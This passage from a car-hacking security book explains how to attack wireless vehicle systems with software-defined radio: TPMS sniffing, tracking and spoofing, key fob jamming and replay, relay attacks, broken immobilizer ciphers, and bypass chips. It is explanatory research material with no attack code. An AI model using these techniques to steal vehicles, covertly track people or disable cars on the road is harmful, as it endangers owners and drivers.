attacking interval-based CAN signals, the proper way to do this is to listen
for the CAN ID you want to modify and, when you receive it through your
read request, to modify only the byte(s) you want to alter and immediately
send it back out. This will prevent flooding, immediately override the valid
signal, and retain any other attributes in the signal that aren’t the target of
the attack.

Security developers need access to exploits to test the strength of their
protections. New ideas from both the attack and defense teams need to be
shared, but do so responsibly.

Summary

In this chapter, you learned how to build working payloads from your
research. You took proof-of-concept C code, converted it to payloads in
assembly, and then converted your assembly to shellcodes that you could use
with Metasploit to make your payloads more modular. You also learned safe
ways to ensure that your payloads wouldn’t accidentally be run on
unexpected vehicles with the help of VIN decoding and passive CAN bus
identification techniques. You even learned some ways to prevent script
kiddies from taking your code and injecting it into random vehicles.



12

ATTACKING WIRELESS SYSTEMS WITH
SDR

In this chapter, we’ll delve into embedded wireless systems, beginning with
embedded systems that transmit simple wireless signals to the ECU.
Embedded wireless systems can be easy targets. They often rely on short-
range signals as their only security, and because they’re small devices with
specific functionalities, there are typically no checks from the ECU to
validate the data outside of the signal and the CRC algorithm. Such systems
are usually good stepping stones for learning before looking at more
advanced systems, such as those with keyless entry, which we’ll look at
hacking in the latter part of the chapter.

We’ll look at the technology that unlocks and starts your vehicle as we
explore both the wireless side of keyless entry systems and the encryption
they use. In particular, we’ll focus on the TPMS and wireless key systems.
We’ll consider possible hacks, including ways that the TPMS could be used
to track a vehicle, trigger events, overload the ECU, or spoof the ECU to
cause unusual behavior.

Wireless Systems and SDR



First, a quick primer on sending and receiving wireless signals. To perform
the type of research discussed in this chapter, you’ll need an SDR, a
programmable radio that sells anywhere from $20, for example, RTL-SDR
(http://www.rtl-sdr.com/), to over $2,000, for example, a Universal Software
Radio Peripheral (USRP) device from Ettus Research (http://www.ettus.com/).
The HackRF One is a good and very serviceable option from Great Scott
Gadgets that will cost you about $300, but you’ll most likely want two so you
can send and receive at the same time.

One significant difference between SDR devices that has a direct effect
on cost is the sample rate, or the number of samples of audio carried per
second. Unsurprisingly, the larger your sample rate, the more bandwidth
you can simultaneously watch—but also the more expensive the SDR and
the faster the processor needs to be. For instance, the RTL-SDR maxes out
at around 3Mbps, the HackRF at 20Mbps, and the USRP at 100Mbps. As a
point of reference, 20Mbps will let you sample the entire FM spectrum
simultaneously. SDR devices work well with the free GNU Radio
Companion (GRC) from GNURadio (bttps://gnuradio.org/), which you can
use to view, filter, and demodulate encoded signals. You can use GNU
Radio to filter out desired signals, identify the type of modulation being used
(see the next section), and apply the right demodulator to identify the
bitstream. GNU Radio can help you go from wireless signals directly to data
you can recognize and manipulate.

See the Great Scott Gadgets tutorials at http://greatscottgadgets.com/sdr/
for more on how to use SDR devices with GNU Radio.

Signal Modulation

To apply the right demodulator, you first need to be able to identify the type
of modulation a signal is using. Signal modulation is the way you represent
binary data using a wireless signal, and it comes into play when you need to
be able to tell the difference between a digital 1 and a digital 0. There are

two common types of digital signal modulation: amplitude-shift keying
(ASK) and frequency-shift keying (FSK).
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Amplitude-Shift Keying

When ASK modulation is used, the bits are designated by the amplitude of
the signal. Figure 12-1 shows a plot of the signal being transmitted in carrier
waves. A carrier wave is the amplitude of the carrier, and when there’s no
wave, that’s the signal’s resting state. When the carrier line is high for a
specific duration, which registers as a wave, that’s a binary 1. When the
carrier line is at a resting state for a shorter duration, that’s a binary 0.

ASK Wave

Data Bits - —

0 1 1 0 1 1 ¢} 1 0
Figure 12-1: ASK modulation

ASK modulation is also known as on-off keying (OOK), and it typically
uses a start-and-stop bit. Start-and-stop bits are common ways to separate
where a message starts and where it stops. Accounting for start-and-stop
bits, Figure 12-1 could represent nine bits: 0-1-1-0-1-1-0-1-0.
Frequency-Shift Keying

Unlike ASK, FSK always has a carrier signal but that signal is instead
measured by how quickly it changes—its frequency (see Figure 12-2).

FSK Wave

Data Bits

1 0 0 1 0 0 i 0 1
Figure 12-2: FSK modulation




In FSK, a high-frequency signal is a 0, and a low-frequency signal is a 1.
When the carrier waves are close, that’s a 1, and when they’re spaced farther
apart, that’s a 0. The bits in Figure 12-2 are probably 1-0-0-1-0-0-1-0-1.

Hacking with TPMS

The TPMS is a simple device that sits inside the tire and sends data on tire-
pressure readings and wheel rotation and temperature, and warnings about
certain conditions like low sensor batteries to the ECU (see Figure 12-3).
The data is then displayed to the driver via gauges, digital displays, or
warning lights. In the fall of 2000, the United States enacted the
Transportation Recall Enhancement, Accountability, and Documentation
(TREAD) Act, requiring that all new vehicles have a TPMS system installed
in order to improve road safety by alerting drivers to underinflated tires.
Thanks to TREAD, the TPMS has widespread adoption, making it a

prevalent attack target.



Figure 12-3: Two TPMS sensors

The TPMS device sits inside the wheel and transmits wirelessly into the
wheel well, allowing its signals to be partially shielded by the body of the
vehicle in order to prevent too much leakage. Most TPMS systems use a
radio to communicate with the ECU. The signal frequency varies between
devices but typically runs at 315 MHz or 433 MHz UHF and uses either
ASK or FSK modulation. Some 'TPMS systems use Bluetooth, which has its
pros and cons from the perspective of an attacker: Bluetooth has a greater
default range, but the Bluetooth protocol can also enable secure
communication, making it harder to intercept or connect to. In this chapter,
I'll focus on TPMS systems that use radio signals.

Eavesdropping with a Radio Receiver



Most public research on TPMS security is summarized in “Security and
Privacy Vulnerabilities of In-Car Wireless Networks: A Tire Pressure
Monitoring System Case Study” from researchers at the University of South

Carolina and Rutgers University.! The paper shows how the researchers
were able to eavesdrop on a TPMS system from 40 m away using a relatively
low-cost USRP receiver ($700 to $2,000) to sniff its wireless signals. (As
mentioned earlier, you could use a different SDR.) Once the signals have
been captured, GNU Radio can be used to filter and demodulate them.

TPMS systems have very weak signals and, therefore, don’t leak data too
far from the vehicle. In order to overcome the low leakage factor of a TPMS
system, you could add a low-noise amplifier (LNA) to your radio receiver to
increase the sniffing range, which should allow you to capture a TPMS
signal from the side of the road or from a vehicle traveling alongside the
target. You could also implement directional antennas to boost your range.

TPMS sensors transmit only every 60 to 90 seconds, and sensors usually
aren’t required to send information until the vehicle is traveling at 25 mph
or higher. However, many sensors transmit even when a car is idle, and some
transmit even when the car is off. When auditing a stationary vehicle that’s
powered off, be sure to send a wake-up signal to trigger a response from the

TPMS.

The best way to know how your target TPMS sensor works is to listen
for packets with the vehicle completely off. You most likely won’t see any
communication without a wake-up signal, but some devices may transmit at
slow intervals anyhow. Next, turn the vehicle on and leave it in an idle state.
The ECU should prompt the tire to respond at the very least during startup,
but most likely it’ll poll every so often.

Once you see the TPMS signal, you’ll need to decode it in order for its
contents to make sense. Thankfully, researcher Jared Boone has made that
easy with a suite of tools designed to capture and decode TPMS packets.
You'll find the source code for his gr-tpms tool at htzps://github.com/jboone/gr-
tpms/ and the source code for his tpms tool at https://github.com/iboone/tpms/.
After using these tools to capture and decode TPMS packets, you can
analyze the captured data to determine which bits represent the system’s
unique ID as well as any other fields.

TPMS Packets


https://github.com/jboone/gr-tpms/
https://github.com/jboone/tpms/

TPMS packets will typically contain the same information, with some
differences between models. Figure 12-4 shows an example of a TPMS
packet.

Preamble SensorlD Pressure Temperature Flags Checksum

Figure 12-4: An example TPMS packet

The Sensor]D is a 28- or 32-bit number that’s unique to each sensor and
registered with the ECU. If your only goal is to fingerprint a target for
tracking or triggering an event, the SensorID is probably the only part of the
packet you’ll care about. The Pressure and Temperature fields contain
readings from the TPMS device. The Flags field can contain extra meta-
data, such as a warning about a low battery in a sensor.

When determining packet encoding, check whether Manchester
encoding was used. Manchester encoding is commonly used in near-field
devices, like TPMS systems. If you know what chipset is being used, the data
sheet should tell you whether it supports Manchester encoding. If it does,
you’ll first need to decode the packet before parsing its contents. Jared
Boone’s tools can assist with this task.

Activating a Signal

As mentioned, sensors generally transmit around once a minute, but rather
than waiting 60 seconds for the sensor to send a packet, an attacker can send
a 125 kHz activation signal to the TPMS device with an SDR to elicit a
response. Your interception of this response will need to be timed carefully,
though, because there’s a delay between when you send an activation signal
and when the response is transmitted. For example, if you’re receiving from
the side of the road and the vehicle is traveling too fast past your sensor, you
could easily miss the response.

The activation signal is designed primarily for TPMS test equipment, so
it may be tricky to use it on a moving vehicle. If the target vehicle sends
packets when it’s stationary or off, your task will be much easier.

TPMS sensors don’t use input validation. The ECU will check to make
sure that it recognizes only the SignallD, so the only attribute you, as an



attacker, need to know or match is the ID.

Tracking a Vehicle

It’s possible to use TPMS to track vehicles by placing receivers in the areas
you wish to track. For instance, to track vehicles entering a parking garage,
you’d simply need to place some receivers by the entrance and exit areas.
However, to track vehicles around a city or along a route, you’d need to
strategically place sensors along the area to be tracked. Because the sensors
would have limited range, you’d have to place them around intersections or
freeway on- or off-ramps.

As mentioned, TPMS sensors broadcast their unique ID every 60 to 90
seconds, so you’ll miss a lot of signals if you’re recording IDs on a high-
speed road. To improve your chances of capturing signals, send the
activation signal to wake up the device as it passes. The sensor’s limited
distance can also affect your ability to gather IDs, but you could add an LNA
to your tracking system to increase the range.

Event Triggering

Besides simply tracking a vehicle, TPMS can be used to trigger an event,
from something simple like opening a garage door when the car approaches
to something more sinister. For instance, a malicious actor could plant a
roadside explosive and set it to detonate when it receives a known ID from
the TPMS sensor. Because you have four tires, the attacker would have
reasonable assurance that they have the right vehicle if they receive a signal
for each tire. Essentially, using all four tires would allow you to create a basic
but accurate sensor fingerprint for a target vehicle.

Sending Forged Packets

Once you have access to the TPMS signal, you can send your own forged
packets by setting up GNU Radio as a transmitter instead of as a receiver. By
forging packets, you can not only spoof dangerous PSI and temperature
readings but also cause other engine lights to trigger. And because sensors
still respond to activation packets while the vehicle is off, it’s possible to
drain a vehicle’s battery by flooding the sensor with activation requests.



In the paper “Security and Privacy Vulnerabilities of In-Car Wireless
Networks” referenced previously, the researchers flooded the sensors with
spoofed packets, eventually managing to completely shut down the ECU
while the vehicle was in use. Shutting down the ECU either halts the vehicle
or forces it into “limp mode.”

Shutting down the ECU while a vehicle is traveling at high speed could be
extremely dangerous. Even though playing with TPMS may seem innocuous,
be sure to take standard safety precautions when assessing any vehicle.

Attacking Key Fobs and Immobilizers

Anyone who has driven a modern vehicle is likely familiar with the key fob
and the remote unlock. In 1982, radio-frequency identification (RFID) was
first introduced into remote keyless vehicle entry systems via the Renault
Fuego, and it’s been in wide use since 1995. Earlier systems used infrared, so
when working with one of these earlier vehicles, you’ll need to assess the key
fob by recording the infrared light source (which is not covered in this
chapter). Today’s systems use a key fob to send an RFID signal to a vehicle
to remotely unlock the doors or even start the vehicle. The key fob uses a
transponder operating at 125 kHz to communicate with an immobilizer in
the vehicle, which prevents the vehicle from starting unless it receives the
correct code or other token. The reason to use a low-frequency RFID signal
is to allow the key system to work even if the key fob runs out of battery
power.

We’ll examine using SDR devices to analyze wireless communications set
by the wireless key fobs used to unlock and start vehicles. While older key
fobs use a simple fixed code to start the vehicle, most modern systems rely
on a rolling code or a challenge-response system that prevents simply
recording and playing back a fixed code by challenging the key fob to
perform a task, like completing a calculation and returning the correct
answer. These calculations require both a bit more power and the use of a
battery, which also makes it possible for the key fob to communicate on a
higher frequency from a greater distance.

Remote keyless entry systems typically run at 315 MHz in North



America and 433.92 MHz in Europe and Asia. You can use GNU Radio to
watch the signal sent by a key fob or use a tool like the Gqrx SDR
(http://gqrx.dk/) for a nice real-time view of the entire bandwidth brought in
from your SDR device. Using Gqrx with a high sample rate (bandwidth)
allows you to identify the frequency of an RFID signal as it’s sent from a key
fob to a vehicle. For example, Figure 12-5 shows Gqrx set to listen at 315
MHz (the center, vertical line) and at offset —1,192.350 kHz, as it monitors a
key fob unlock request for a Honda. Gqrx has identified two peaks in the
signal that are likely to be the unlock requests.
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Figure 12-5: Gqrx capture of a key fob unlock request

Key Fob Hacks
There are plenty of ways to hack key fob systems, and I’ll give examples of a

few methods an attacker might use in the following sections.

Jamming the Key Fob Signal

One way to attack a key fob signal is to jam it by passing garbage data within
the RFID receiver’s passband, the area the receiver is listening to for a valid
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signal. The width of the passband window includes some extra space where
you can add noise to prevent the receiver from changing the rolling code
while still allowing the attacker to view the correct key sequence (see Figure
12-6).

While holding onto that valid unlock request in memory, the attacker
waits for another request to be sent and records that request, too. The
attacker can then replay the first valid packet to the vehicle, causing it to lock
or unlock the car, depending on the signal sent by the key fob. When the car
owner leaves the vehicle, the attacker has the last valid key stored and can

replay it to open the vehicle doors or start the vehicle. This attack was
demonstrated by Samy Kamkar at DEF CON 23 on both vehicles and

garage door openers.’
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Figure 12-6: Jamming the passband filter to preserve the key exchange

Pulling the Response Codes from Memory

Sometimes it’s possible to find the response code still in the immobilizer’s
memory, even a few minutes after the key fob has stopped sending signals.
This provides a window of opportunity to start the car not by capturing



signals live from a key fob but rather by pulling the signal from the
immobilizer’s memory.

If an area of memory can be identified to contain this information, then
the attacker needs to either quickly get access to the vehicle or have a device
on the vehicle that can respond to record this information.

Brute-Forcing a Key Code

Some response codes can be accessed by brute force, though the feasibility of
a brute-force attack depends on the key code length and algorithm. (We’ll
discuss the cryptography behind these key systems in “Immobilizer
Cryptography” on page 220.) In order for a brute-force attack to succeed,
the attacker needs to build custom software to brute-force the key using an
SDR, a custom hardware component, or—better yet—a combination of the
two. For instance, if the key fob detected brute-forcing attacks, you may
want to have some custom hardware reset the key fob on lockout by
bouncing the power.

Forward-Prediction Attacks

If an attacker is able to observe challenge-response exchanges that occur
when the key fob sends a signal to the vehicle and the vehicle’s transponder
responds, the attacker can perform a forward-prediction attack. In such an
attack, the attacker observes multiple challenges and from those, predicts
what the next challenge request will be. If the transponder’s pseudorandom
number generator (PRNG) is weak, this attack may well succeed. To greatly
simplify this example, if the PRNG was based on when the key fob first
received power, an attacker could seed their own random number generator
with a matching start time. Once the attacker was synced to the target, the
attacker could predict all future codes.

Dictionary Attacks

Similarly, if an attacker can record numerous valid challenge-response
exchanges between the key fob and the transponder, they can store them in a
dictionary and then use the collected key pairs to repeatedly request
challenges from the transponder until one challenge matches a response in
the dictionary. This tricky attack is possible only when the keyless entry
system doesn’t use sender verification to make sure that responses are valid.



The attacker would also need to be able to continuously request
authentication from the transponder.

In order to perform a dictionary attack, the attacker would need to build a
system to trigger the key fob request and record the exchange with an SDR.
An Arduino wired to the button press of the researcher’s valid key fob would
suffice. Assuming the authentication takes place over CAN, it’s also possible
to grab the key fob ID over ultra-high frequency and attempt to gather the
key stream by replaying and recording the communication over the CAN
bus, as discussed in “Reversing CAN Bus Communications with can-utils
and Wireshark” on page 68. Using custom tools, this would be possible to
repeat over any bus network. For more information on this type of attack,

see the paper “Broken Keys to the Kingdom”.?

Dumping the Transponder Memory

It’s often possible to dump the memory of the transponder to get the secret
key. In Chapter 8, we examined how to use debugger pins, such as JTAG, as
well as side-channel analysis attacks to dump memory from the transponder.

Reversing the CAN Bus

To gain access to a vehicle, an attacker can simulate the lock button press
using the CAN bus reversing methods discussed in Chapter 5. If the attacker
has access to the CAN bus, they can replay lock and unlock packets to
control and occasionally even start the vehicle. Sometimes CAN bus wires
are even accessible from outside the vehicle; for instance, some vehicles have
CAN bus running to the tail lights. An attacker could pop out a tail light and
tap into the CAN bus network in order to unlock the vehicle.

Key Programmers and Transponder Duplication Machines

Transponder duplication machines are often used to steal vehicles. These
machines, the same as those used by a mechanic or dealership to replace lost
keys, can be purchased online for anywhere from $200 to $1,000. Attackers
acquire the transponder signal from their target vehicle and use it to create a
clone of the key, by either having a valid key nearby or using one of the
attacks discussed earlier. For example, the attacker—possibly a valet or a
parking garage attendant—might jam the door lock signal and then sneak
into the vehicle and attach a custom dongle to the OBD-II connector. The



dongle would acquire the key fob communication and possibly even include
a GPS broadcast to allow the attacker to locate the vehicle later. The
attacker would later return to the vehicle and use the dongle to unlock and
start the car.

Attacking a PKES System

Passive keyless entry and start (PKES) systems are very similar to traditional
transponder immobilizer systems, except that the key fob can remain in the
owner’s pocket and no button needs to be pressed. When a PKES system is
implemented, antennas in the vehicle read RFID signals from the key fob
when it’s in range. PKES key fobs use a low-frequency (LF) RFID chip and
an ultra-high-frequency (UHF) signal to unlock or start the vehicle. The
vehicle ignores UHF signals from the key fob if the LF RFID signal isn’t
seen, meaning that the key isn’t nearby. The RFID on the key fob receives a
crypto challenge from the vehicle, and the microcontroller on the key fob
solves this challenge and responds over the UHF signal. Some vehicles use
RFID sensors inside the vehicle to triangulate the location of the key fob to
ensure the key fob is inside the vehicle. If the battery dies in a PKES key fob,
there’s typically a hidden physical key in the fob that will unlock the door,
though the immobilizer will still use the RFID to verify that the key is
present before starting the vehicle.

There are typically two types of possible attacks on a PKES system: a
relay attack and an amplified relay attack. In a relay attack, an attacker places
a device next to the car and another next to the owner or holder of the key
fob (the target). The device relays the signals between the target’s key fob
and the vehicle, enabling the attacker to start the car.

This relay tunnel can be set up to communicate over any channel that’s
fast and has a larger range than the normal key fob. For instance, a device
placed near the target could set up a cellular tunnel to a laptop near the
vehicle. Packets would go from the target’s key fob into the device to be
transmitted over cellular and replayed by the laptop. For more information,

see “Relay Attacks on Passive Keyless Entry and Start Systems in Modern

Cars.”?

An amplified relay attack uses the same basic principles as a relay attack but
with only a single amplifier. The attacker stands by the target vehicle and



amplifies the signal, and if the target is nearby with the key fob, the vehicle
will unlock. This is an unsophisticated attack that simply increases the range
of the vehicle’s sensors. It’s been seen in the wild, primarily in residential
neighborhoods, prompting a series of news articles advising residents to put
their keys in their refrigerator or wrap them in aluminum foil when they’re
at home to prevent them from sending a readable signal. Obviously, treating
your keys like lunch is silly, but until auto manufacturers provide an
alternative solution, I'm afraid you’re stuck with homemade Faraday cages.

Immobilizer Cryptography

Like most systems in a vehicle, immobilizer systems are usually created using
a combination of cheap components. As a result, manufacturers have become
creative with things like cryptography, which has introduced numerous
weaknesses into these systems. For example, some immobilizer vendors
make the common mistake of creating their own crypto and hiding it behind
a trade secret clause designed to protect it instead of validating it with public
scrutiny. Known as security through obscurity, this method is almost always
doomed to fail, and it’s why we don’t see a standard cryptography
implementation to handle the key exchange between the key fob and the
immobilizer.

The immobilizer—key exchange uses a challenge-response system and
PRNGs. The PRNG is equally important as the crypto algorithm, as a poor
PRING can lead to predictable results regardless of how good your crypto
algorithm is.

The typical key exchange implementation follows this general sequence:

1. The immobilizer sends a challenge to the key using a PRNG.

2. The key encrypts the challenge using a PRNG and returns it to the
immobilizer.

3. The immobilizer sends a second random number challenge.

4. 'The key encrypts both challenges and returns them to the immobilizer.

These algorithms are typically from the pseudorandom function (PRF)
family, which generate what only Jook like random output given random
input. There’s a strong reliance on generated randomness in order for these



systems to work properly. Some of these systems have already been cracked
and the cracking methods widely disseminated, but some still remain
unbroken. Unfortunately, because manufacturers don’t have systems in place
to update their key fobs’ firmware, you’ll see all of these algorithms in use if
you look long and hard enough.

The following are some of the known proprietary algorithms still in use
and their current crack status—that is, whether they’ve been broken or not.
Whenever possible, I identify which vehicles you may see the algorithm used
in.

This section is designed to assist in your vesearch. Each area should give you
basic information on the key system you’re looking at and details that should
help you to jump-start your crypto research. This section isn’t meant to explain
cryptography, and I won’t delve into the intricacies of the mathematics behind
each algorithm.

EM Micro Megamos
Introduced 1997
Manufacturer Volkswagen/Thales
Key Length 96 bits
Algorithm Proprietary
Vehicles Porsche, Audi, Bentley, Lamborghini

Crack Status Broken but the attack methods have been censored by
lawsuit

The Megamos cryptographic system has a particularly interesting history.
Megamos “optimized” its key handshake by requiring only one round of
challenge and response and eliminating the second round, as outlined
earlier. While an attacker attempting to crack a challenge-response key
would normally need access to the target key, they could crack Megamos
without a key present because the Megamos challenge response is never
actually acted on by the vehicle’s transponder. This flaw basically skips the
key challenge portion and provides only an encrypted key.




The Megamos memory is a 160-bit EEPROM, organized into 10 words,
as shown in Table 12-1. Crypt Key is the secret key storage, ID is the 32-bit

identifier, LB 0 and LB 1 are the lock bits, and UM is the 30 bits of user
memory.

Table 12-1: Layout of the Megamos Memory Space

Bit 15 Bit 0 Bit 15 Bit 0

Crypt Key 95 Crypt Key 80 Crypt Key 15 Crypt Key 0
Crypt Key 79 Crypt Key 641D 31 ID 16
Crypt Key 63 Crypt Key 481D 15 ID 0

Crypt Key 47 Crypt Key 32 LB1, LBO, UM 29 UM 16
Crypt Key 31 Crypt Key 16 UM 15 UMO

This algorithm was cracked publicly in 2013 when Flavio D. Garcia, a
security researcher at the University of Birmingham, published a paper
called “Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle

Immobilizer”.” Garcia and two fellow researchers from Radboud University
Nijmegen, Bar1s Ege and Roel Verdult, notified the chipmakers,
Volkswagen and Thales, nine months prior to the scheduled publication of
their paper. Volkswagen and Thales reacted by suing the researchers for
having identified the vulnerabilities, and the researchers lost the court case
because the algorithm was leaked online. The leaked algorithm was used in
pirated software—the Tango Programmer from VAG-info.com—for adding
new keys. The researchers acquired this software and reversed the internals
of the software to identify the algorithm.

In their paper, the researchers analyzed the algorithm and reported on
the vulnerabilities they found, though the actual exploit was apparently not
trivial and there were much easier ways to steal a car with a Megamos
system. Nevertheless, the research was placed under a gag order, and the
findings weren’t made public. Unfortunately, the problem with Megamos
still exists, and it’s still insecure—the gag order simply prevents vehicle
owners from determining their risk because the research isn’t publicly
available. This is a prime example of how the auto industry should 7oz
respond to security research.



You can find a transcript of the court decision here:
http:/fwww.bailii.org/ew/cases/EWHC/Ch/2013/1832.html. In order not to leak
any details, I’ll simply quote the court case:

In detail the way this works is as follows: both the car computer and the transponder know a
secret number. The number is unique to that car. It is called the “secret key”. Both the car
computer and the transponder also know a secret algorithm. That is a complex mathematical
formula. Given two numbers it will produce a third number. The algorithm is the same for all
cars which use the Megamos Crypto chip. Carrying out that calculation is what the Megamos
Crypto chip does.

When the process starts the car generates a random number. It is sent to the transponder. Now
both computers perform the complex mathematical operation using two numbers they both
should know, the random number and the secret key. They each produce a third number. The
number is split into two parts called F and G. Both computers now know F and G. The car sends
its F to the transponder. The transponder can check that the car has correctly calculated F. That
proves to the transponder that the car knows both the secret key and the Megamos Crypto
algorithm. The transponder can now be satisfied that the car is genuinely the car it is supposed to
be. If the transponder is happy, the transponder sends G to the car. The car checks that G is
correct. If it is correct then the car is happy that the transponder also knows the secret key and
the Megamos Crypto algorithm. Thus the car can be satisfied that the transponder is genuine. So
both devices have confirmed the identity of the other without actually revealing the secret key or
the secret algorithm. The car can safely start. The verification of identity in this process depends
on the shared secret knowledge. For the process to be secure, both pieces of information need to

remain secret—the key and the algorithm.6

In reality, any robust crypto algorithm can be known. In fact, as any
cryptographer will tell you, if knowing the math behind an algorithm
jeopardizes the security of that algorithm, the algorithm is flawed.

The court case determined that the attacks were hard to mitigate and
would require a complete redesign. The researchers offered other
lightweight algorithms that could be used in the redesigned key systems, but
because the research was silenced, no key systems were updated. The
Megamos algorithm is still found in key programmers like Volkswagen’s
Tango Programmer, among others.

EM4237
Introduced 2006

Manufacturer EM Microelectronic

Key Length 128 bits


http://www.bailii.org/ew/cases/EWHC/Ch/2013/1832.html

Algorithm Proprietary
Vehicles Unknown
Crack Status No known published cracks

EM4237 is described by the manufacturer as a generic, long-range, passive,
contactless tag system that uses transponders. This is similar to a beefed-up
proximity card used for building access but with a range of 1 to 1.5 m.
Normally, EM4237 requires a high-security, 128-bit password, but it can
run in a low-security mode that requires only a 32-bit password if, for
example, the key fob is low on battery, as it takes less energy to compute a
32-bit key than a 128-bit key. The system’s low-security mode key is located
in the same memory section of the transponder as the high-security mode
key, and the system can be toggled between high and low security without
having to reenter the password/key. The EM4237 transponder claims to be
compliant with vicinity card standards ISO/IEC 15693), which offers full
encryption of the RF channel (13.56 MHz). When auditing EM4237, ensure
that implementation on your target matches the specification.

Hitag 1
Introduced Unknown
Manufacturer Philips/NXP
Key Length 32 bits
Algorithm Proprietary
Vehicles Unknown
Crack Status Broken

Hitag 1 relies on a 32-bit secret key and is susceptible to a brute-force attack
that can take only a few minutes. You won’t find Hitag 1 used in many of
today’s vehicles, but Hitag 1 transponders are still used in other RFID
products, such as smart keychains and proximity cards.

Hitag 2
Introduced 1997
Manufacturer Philips/NXP



Key Length 48 bits
Algorithm Proprietary

Vehicles Audi, Bentley, BMW, Chrysler, Land Rover, Mercedes,
Porsche, Saab, Volkswagen, and many more

Crack Status Broken

Hitag 2 is one of the most widely implemented (and broken) algorithms in
vehicles produced around the world. The algorithm was cracked because its
stream cipher, shown in Figure 12-7, is never fed back into the original state,
making the key discoverable.
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Figure 12-7: Hitag 2 cipher

Hitag 2 keys can be cracked in under a minute by using a type of smart
brute-forcing that intelligently picks the next guess rather than trying every
possibility. The Hitag 2 system can be brute-forced so quickly because it
doesn’t even use its full bit length, and when the transponders are
introduced into a system, they don’t produce true random numbers during
initialization. Both Hitag 1 and Hitag 2 are also vulnerable to dictionary
attacks.

You'll find numerous papers online that discuss a multitude of weaknesses
in Hitag 2, such as “Gone in 360 Seconds: Hijacking with Hitag2”.”



Hitag AES
Introduced 2007
Manufacturer Philips/NXP
Key Length 128 bits
Algorithm AES
Vehicles Audi, Bentley, BMW, Porsche
Crack Status No known published cracks

This newer cipher relies on the proven AES algorithm, which means that
any weaknesses in the crypto will result from a manufacturer’s
implementation. As I write this, there are no known cracks for Hitag AES.

DST-40
Introduced 2000

Manufacturer Texas Instruments

Key Length 40 bits

Algorithm Proprietary (unbalanced Feistel cipher)
Vehicles Ford, Lincoln, Mercury, Nissan, Toyota
Crack Status Broken

The algorithm used by the digital signal transponder DST-40 was also used
in the Exxon-Mobil Speedpass payment system. The DST-40, a 200-round
unbalanced Feistel cipher, was reverse engineered by researchers at Johns
Hopkins University who created a series of FPGAs to brute-force the key,
allowing them to clone the transponders. (FPGAs make it possible to create
hardware that’s custom designed to crack algorithms, which makes brute-
forcing much more feasible.) Because an FPGA is specialized and can run
with parallel inputs, it can often process things much faster than a general-
purpose computer.

The attack on DST-40 takes advantage of the transponder’s weak 40-bit
key and requires no more than one hour to complete. To perform the attack,
the attacker must get two challenge—response pairs from a valid transponder
—a relatively easy task, since DST-40 responds to as many as eight queries



per second. (See “Security Analysis of Cryptographically-Enabled RFID

Device” for more details on this crack.®)

DST-80
Introduced 2008
Manufacturer Texas Instruments
Key Length 80 bits

Algorithm Proprietary (unbalanced Feistel cipher)
Crack Status No known published cracks

When DST-40 was cracked, Texas Instruments responded by doubling
the key length to produce DST-80. DST-80 isn’t as widely deployed as
DST-40. Some sources claim that DST-80 is still susceptible to attack,
though, as of this writing, no attacks have been published.

Keeloq
Introduced Mid-1980s
Manufacturer Nanoteq
Key Length 64 bits
Algorithm Proprietary (NLFSR)

Vehicles Chrysler, Daewoo, Fiat, General Motor, Honda, Jaguar,
Toyota, Volkswagen, Volvo

Crack Status Broken

Keeloq, shown in Figure 12-8, is a very old algorithm, and there have been
many published attacks on its encryption. Keeloq can use both a rolling code
and a challenge response, and it uses a block cipher based on nonlinear
feedback shift register (NLFSR). The manufacturer implementing Keeloq
receives a key, which is stored in all receivers. Receivers learn transponder
keys by receiving their IDs over a bus line programmed by the auto
manufacturer.

The most effective cryptographic attack in Keeloq uses both a slide and a
meet-in-the-middle attack. The attack targets Keeloq’s challenge-response



mode and requires the collection of 216 known plaintext messages from a
transponder—the recording of which can take just over one hour. The attack
typically results only in the ability to clone the transponder, but if the
manufacturer’s key derivation is weak, it may be possible for the attacker to
deduce the key used on their transponders. However, attacking the crypto
has become unnecessary because newer dedicated FPGA clusters make it
possible to simply brute-force the key.
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Figure 12-8: Keelog algorithm

Keeloq is also susceptible to a power-analysis attack. A power-analysis
attack can be used to extract the manufacturer’s key used on the
transponders with only two transponder messages. If successful, such an
attack typically results only in the ability to clone a transponder in a few
minutes by monitoring the power traces on the transponder. Power analysis
can also be used to get the manufacturer key, though such an attack could
take several hours to perform. Once the attacker has the master key, they can
clone any transponder. Finally, because Keeloq takes varying clock cycles
when using its lookup table, it’s also susceptible to timing attacks. (For more
on power-analysis and timing attacks, see Chapter 8.)

Open Source Immobilizer Protocol Stack
Introduced 2011

Manufacturer Atmel



Key Length 128 bits
Algorithm AES
Crack Status No known published cracks

In 2011, Atmel released the Open Source Immobilizer Protocol Stack
under an open source license, making it freely available to the public and
encouraging public scrutiny of the protocol design. As I write this, there are
no known attacks on this protocol. You can download the protocol from the
Atmel site: http://www.atmel.com/.

Physical Attacks on the Immobilizer System

So far, we’ve looked at wireless attacks and direct cryptography attacks
against the transponders. Next, we’ll look at physical modification and
attacks to the vehicle itself. Physical attacks typically take longer to perform
and aren’t meant to be stealthy.

Attacking Immobilizer Chips

One way to attack an immobilization system is to physically attack the
immobilizer chip. In fact, it’s possible to completely remove the immobilizer
chip (typically from a vehicle’s ECU) and still operate a vehicle, though
perhaps not quite normally. At the very least, this removal would create a
DTC and turn on the MIL, as discussed in “Diagnostic Trouble Codes” on
page 52. In order to physically remove immobilizer-based security, you can
purchase or build an immobilizer bypass chip and then solder it where the
original immobilizer chip was to keep the rest of the ECU happy. These
chips, sometimes referred to as immo emulators, typically cost $20 to $30.
You’d still need to have a key cut for the vehicle, but having bypassed any
challenge-response security entirely, the key would simply unlock and start
the vehicle.

Brute-Forcing Keypad Entry

Now, for a change of pace: Here’s one method for brute-forcing a keypad
lock on a vehicle; this particular method was discovered by Peter Boothe
(available at http://www.nostarch.com/carbacking/). If the vehicle has a keypad
under the door handle with buttons labeled 1/2, 3/4, 5/6, 7/8, 9/0, you can
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manually enter the following sequence in about 20 minutes to unlock the car
door. You don’t have to enter the entire sequence—you can stop entering
the code whenever the doors unlock. For convenience, each button is labeled
1, 3,5,7,and 9, respectively.
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This method works because the key codes roll into one another. The
vehicle doesn’t know where one code ends and the other one starts, which
means that you don’t have to try each possibility in order to stumble on the
right combination.

Flashback: Hotwiring

No car hacking book would be complete without some discussion of
hotwiring—a truly brute-force attack. Unfortunately, this attack has been
obsolete since about the mid-1990s, but you still see it in countless movies,
so I'm including it here. My goal isn’t to help you go out and hotwire a car
but to give you a sense of how hotwiring was done.

In the past, ignition systems used a vehicle’s key to complete an electrical
circuit: turn the key and you’ve connected the starter wire to the ignition
